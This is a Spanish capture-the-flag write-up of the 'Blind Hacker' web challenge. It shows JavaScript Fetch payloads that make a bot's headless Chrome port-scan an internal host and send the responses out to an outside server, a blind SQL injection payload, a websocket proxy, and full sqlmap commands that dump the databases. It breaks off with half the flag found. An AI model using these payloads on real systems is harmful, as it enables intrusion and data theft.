El 24 de mayo el equipo de Follow the White Rabbit publicaba en su cuenta de Twitter (@fwhibbit_blog) un nuevo reto en la categoría Web, Blind Hacker, diseñado por @jorge_ctf:
Me gustó el anterior reto web, Mike’s Dungeon, del mismo diseñador, pero también sabía que suelen requerir mucho tiempo y café. No soy el único que así lo cree 🙂
En la descripción vemos que hay que “llamar” a un bot (@blindhackerchallbot) a través de Telegram. Si nos comunicamos con él veremos que hay que llamarle con el comando /scan y pasarle una URL que nos escaneará durante 10 segundos:
En estos casos suelo poner a la escucha la herramienta netcat en modo servidor para ver quién se conecta:
/scan http://ikasten.io:3000/
$ nc -l 3000
GET / HTTP/1.1
Host: ikasten.io:3000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Interesante, Headless Chrome 83. El bot abre una conexión contra nuestro servidor usando este navegador en modo headless durante 10 segundos. También tenemos una pista en el enunciado del ejercicio: “Server is at: http://blind_hacker/”. Da la sensación de que tenemos que conseguir dirigir – a distancia – ese navegador headless hacia su propia red, en concreto a ese servidor.
En un primer momento creo que el texto de la pista no contenía el protocolo (http), sino sólo el nombre del servidor. Así que pensé en ver a qué servicio estaba asociado. La idea era usando ese navegador headless para mis propósitos, en concreto, para escanear los puertos del host blind_server. ¿Pero cómo? Usando el API Fetch.
La idea es la siguiente, preparar una página sencilla que incluya sólo un JavaScript. Esa página será la que digamos al bot que escanee. Nuestro script ejecutará algo similar a esto:
fetch('http://blind_server:' + port, { mode: 'no-cors' }).then(resp => { console.log(“servicio ABIERTO en: “ + port); }).catch(err => { console.log(“servicio CERRADO en: “ + port); }); |
CORS
Chrome está ejecutando un script de ikasten.io que lanza peticiones Fetch a otro dominio. Eso no es Kosher 🙂 No lo ejecutará a no ser que el servidor que recibe la petición (blind_hacker) incorpore una cabecera CORS que lo autorice. El mode: ‘no-cors’ permite hace este tipo de llamadas, pero a su vez, indica al navegador que los scripts no pueden acceder al contenido de la respuesta. Pues vaya, ¿entonces para qué hacemos la petición? Sencillo, sólo nos interesa saber si hay respuesta, no cuál es el contenido de esa respuesta.
Tal y como comenta el propio autor del reto: “Debido a que chrome (o creo que incluso todos los navegadores) implementan CORS por defecto en localhost, tuve que añadir a selenium esta opción:
chrome_options.add_argument(‘–disable-web-security’) # Nos olvidamos de CORS de manera global
Console.log o Beeceptor
Está bien que un console.log nos muestre el resultado por la consola del navegador. Pero nos olvidamos de un “detallito”: no podemos acceder a ver el contenido de es consola 🙂 Tenemos que exfiltrar ese contenido a un servidor externo que podamos visualizar. Hay varias formas de hacer esto, pero una rápida es usar la herramienta online Beeceptor: https://beeceptor.com/ . Añadimos un end-point y cada que vez alguien “llame” a ese end-point veremos una nueva línea de log con detalles de la llamada. Algo similar a lo que hace el servicio Burp Suite Collaborator (pero Beeceptor sólo sirve para interceptar llamadas HTTP/S y Collaborator acepta muchos otros protocolos).
El payload podría ser algo como esto para los primeros 1024 puertos:
for(let port=80; port < 1024; port++){ fetch('http://blind_hacker:' + port, { mode: 'no-cors' }).then(resp => { fetch('http://ikasten.free.beeceptor.com/' + port); }); } |
Monitorizando beeceptor, vemos que llega una petición informando que el puerto 80 de blind_hacker está abierto 🙂
Automatizando las peticiones al bot de Telegram
Llegados a este punto, nos damos cuenta de que va a ser necesario automatizar las peticiones al bot. Así que instalamos telegram-cli, o más bien el fork del usuario kenorb que lo mantiene actualizado (el original lleva 5 años sin ser tocado). A partir de ahora, podremos lanzar las peticiones al bot así:
$ bin/telegram-cli -k tg-server.pub telegram-cli -W -e «msg BlindHackerBot /scan http://tu_server:3000/tu_pagina.html»
Curioseando en http://blind_hacker
Usando el API Fetch podemos lanzar consultas manuales a http://blind_hacker y exfiltrar las respuestas a Beeceptor o a un servidor que pongamos a la escucha. Esta segunda opción es la que más me gusta, pues así tendremos control absoluto (Beeceptor tiene un máximo de requests diarios, a partir de ese número es necesario pagar). Hacerlo en node+express es sencillo (req.text no es un atributo de serie, hay que obtenerlo a través del middleware raw-body):
app.post('/echo', function(req, res) { console.log(req.text); res.send(req.text); }); |
Ahora, un fetch(“http://ikasten.io:3000/proxy”) mostrará por consola los parámetros que le lleguen por POST y enviará los mismos como respuesta HTTP. Modificamos el payload para leer la respuesta de blind_hacker:
fetch('http://blind_hacker'). then(resp => resp.text()).then( data { fetch('http://ikasten.io:3000/echo', { method: 'POST', body: data}); }); |
Nota: hemos quitado el mode: ‘no-cors’ asumiendo que el servidor remoto acepta peticiones CORS. También hemos usado el método POST para la exfiltración de datos.
Y vemos por consola:
indextoken param not supplied.
Bueno, poco a poco estamos consiguiendo extraer información. ¿Qué habrá que pasar con ese indetoken? Intentamos algo al azar:
fetch('http://blind_hacker/?indextoken=trololo'). then(resp => resp.text()).then( data => { fetch('http://ikasten.io:3000/echo', { method: 'POST', body: data })}); |
Y obtenemos la respuesta que buscábamos:
Invalid token! Have you met token.php?
Así que toca pasarse primero por token.php. La cosa empieza a complicarse ¿eh?
fetch('http://blind_hacker/token.php'). then(resp => resp.text()).then( data => { fetch('http://ikasten.io:3000/echo', method: 'POST', body: data }); }); |
Respuesta:
There you go -> 1fJJiyk5MfunjctynqkyqfgfY2x00auLmWrPNDub
Necesitamos trocear el token y pasárselo a blind_hacker. Algo así:
victimURL="http://blind_hacker/"; fetch(victimURL + "token.php").then(res => res.text()). then(data => { token = data.split(" ")[4]; fetch(victimURL+"?indextoken=" + token). then(resp => resp.text()). then( data => { fetch('http://ikasten.io:3000/echo', { method: 'POST', body: data}); }) }); |
Respuesta:
<html> <h1> BLIND HACKER FORUM </h1> <center> <form method="post" action="" name="signin-form"> <div class="form-element"> <label>Username: </label> <input type="text" name="username" id="username" required /> </div> <br> <div class="form-element"> <label>Password: </label> <input type="password" name="password" id="password" required /> </div> <br> <button type="submit" name="login" value="login">Log In</button> </form> </center> </html>
¡Vaya! Un formulario con username y password. Aquí intenté el envío de login y password típicos mediante POST y el API Fetch, pero tras unos cuantos intentos ví que no iban por ahí los tiros. Hasta que se me ocurrió probar un SQLi en el campo password:
victimURL="http://blind_hacker/"; let formData = new FormData(); formData.append('username', "admin"); formData.append('password', "admin' or 1=1-- "); fetch(victimURL + "token.php"). then(res => res.text()). then(data => { token = data.split(" ")[4]; fetch(victimURL+"?indextoken=" + token, { method: 'POST', body: formData } ). then(resp => resp.text()). then( data => { fetch('http://ikasten.io:3000/echo', { method: 'POST', body: data}); }) }); |
Y recibí el mismo formulario de respuesta… salvo esta línea:
<a href=»https://tenor.com/view/jesus-jesus-walk-yass-jesus-gif-14042558″></a>
Cambiando el payload del sqli por
formData.append(‘password’, «admin’ or 1=0– «);
La línea de respuesta que cambiaba era esta:
<a href=»https://tenor.com/view/negros-ataud-ataud-meme-negros-dance-coffin-squad-gif-16889809″></a>
Wow, tenemos un BlindSQLInjection en toda regla. Podemos explotarlo a mano, poco a poco, de forma muy cansina. O podemos valernos de nuestros conocimientos como ingenieros software, desarrollar un proxy y hacer que trabajen los expertos (sqlmap). Obviamente nos decantamos por la segunda opción 🙂
Un proxy HTTP/websocket
Tenemos que conseguir enviarle peticiones HTTP al headless Chrome y que éste las redirija al target blind_hacker . Pero por cuestiones de seguridad Chrome no puede abrir conexiones a través de un socket como haríamos por ejemplo con netcat. Lo más cerca que podemos llegar es a abrir un websocket, recibir la petición http por el websocket y redirigirla al target (y la respuesta pasarla al origen siguiendo el orden inverso).
Estuve indagando sobre un proxy websocket/socketTCP, y encontré alguna opción como websockify o proxy.rb de Beef pero no conseguí que funcionaran para mi obejtivo. Leyendo el código fuente de proxy.rb tampoco_parecía_tan_difícil (™). Así que me puse manos a la obra, y un par de días después tenía el proxy funcionando 🙂
Beef llama hooked browsers a este tipo de browsers que podemos controlar a distancia. A este ataque también se les conoce como Browser in the Middle. La implementación sigue la siguiente arquitectura:
- El hooked browser lanza un mensaje browser-connect a través del ws con el servidor y queda a la espera de recibir más peticiones a través del mismo socket
- Nuestro servidor express recibe una petición POST del cliente, la guarda en mongodb asignándole un ID, la envía por el websocket (“mensaje”) y se mete en un bucle de polling, consultando a mongodb hasta que encuentre una tupla con respuesta para ese ID
- El hooked browser recibe el “mensaje” y lo reenvía a blind_hacker vía API Fetch + http, captura la respuesta de blind_hacker y la envía por el websocket (mensaje tipo “answer”)
- Express recibe la respuesta y actualiza la tupla correspondiente a ese ID con el valor de la respuesta (desbloqueando el proceso de polling y enviando vía http la respuesta al cliente)
La implementación quick&dirty está disponible aquí https://github.com/juananpe/browserinthemiddle
Para poner en marcha el proxy, seguimos los siguientes pasos:
Lanzamos mongodb
$ mongod --config /usr/local/etc/mongod.conf
Creamos una bbdd de nombre queriesdb
> use queriesdb
Y una colección de nombre queries
> db.createCollection('queries')
Abrimos una terminal
$ git clone https://github.com/juananpe/browserinthemiddle
$ cd browserinthemiddle
$ git checkout browserinthemiddle (rama browserinthemiddle)
Lanzamos node
$ nodemon bin/www
Proxified Sqlmap
Ya está todo preparado para que podemos lanzar sqlmap contra blind_server desde otra terminal:
Primero la petición al bot:
$ bin/telegram-cli -k tg-server.pub telegram-cli -W -e "msg BlindHackerBot /scan http://ikasten.io:3000/mobile.html"
E inmediatamente la orden sqlmap, con nuestro proxy como primer parámetro:
$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password --risk=3 --technique=B --suffix="-- " --dbms=MySQL --dbs --threads=4
Notas: Sin risk=3 no encontrará nada porque es un OR-based blind tal y como hemos visto en la sección anterior (API Fetch). Ídem para el sufijo (suffix=”– “), que hemos encontrado con una petición POST a través del API Fetch. La opción –dbms asume MySQL, pero no haría falta, una primera pasada de sqlmap ya detectaría el motor de la bbdd.
available databases [3]:
[*] blindhackerDB
[*] information_schema
[*] tokenDB
PD: en 10 segundos, incluso con los 4 threads que le hemos metido a sqlmap no podrá escanear los nombres de las 3 BBDD vía blind sqli en un sólo intento. Habrá que darle varias veces a la manivela 🙂
Ya tenemos el nombre de las BBDD. Vamos a por las tablas de blindhackerBD.
$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password --risk=3 --technique=B --dbms=MySQL --suffix="-- " --tables -D blindhackerDB --threads=4
Database: blindhackerDB
[1 table]
+———-+
| userinfo |
+———-+
Las columnas:
$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password --risk=3 --technique=B --dbms=MySQL --suffix="-- " --columns -T userinfo -D blindhackerDB --threads=4
(Nota: podríamos haber pedido las columnas directamente, sin tener que especificar el nombre de la tabla)
Y… ¡tachán, tachán! El toque ¿final?:
$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password --risk=3 --technique=B --dbms=MySQL --suffix="-- " --dump -D blindhackerDB --threads=4
Mmmh… casi. Tenemos la mitad de la flag. ¿Y ahora qué? Se nos ocurre introducir el login y password del dump en el formulario, enviamos …
y esta historia merece un segundo post 🙂